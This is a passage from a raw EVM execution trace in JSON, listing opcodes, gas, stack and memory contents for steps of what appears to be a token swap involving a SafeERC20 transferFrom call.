000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15520,"op":"ADD","gas":95498,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x0","0x2e4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15521,"op":"SWAP3","gas":95495,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x0","0x348"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15522,"op":"SWAP2","gas":95492,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x220","0x0","0x3597"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15523,"op":"POP","gas":95489,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x3597","0x0","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15524,"op":"POP","gas":95487,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x3597","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15525,"op":"JUMP","gas":95485,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x3597"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13719,"op":"JUMPDEST","gas":95477,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13720,"op":"PUSH1","gas":95476,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13722,"op":"PUSH1","gas":95473,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13724,"op":"MLOAD","gas":95470,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13725,"op":"DUP1","gas":95467,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c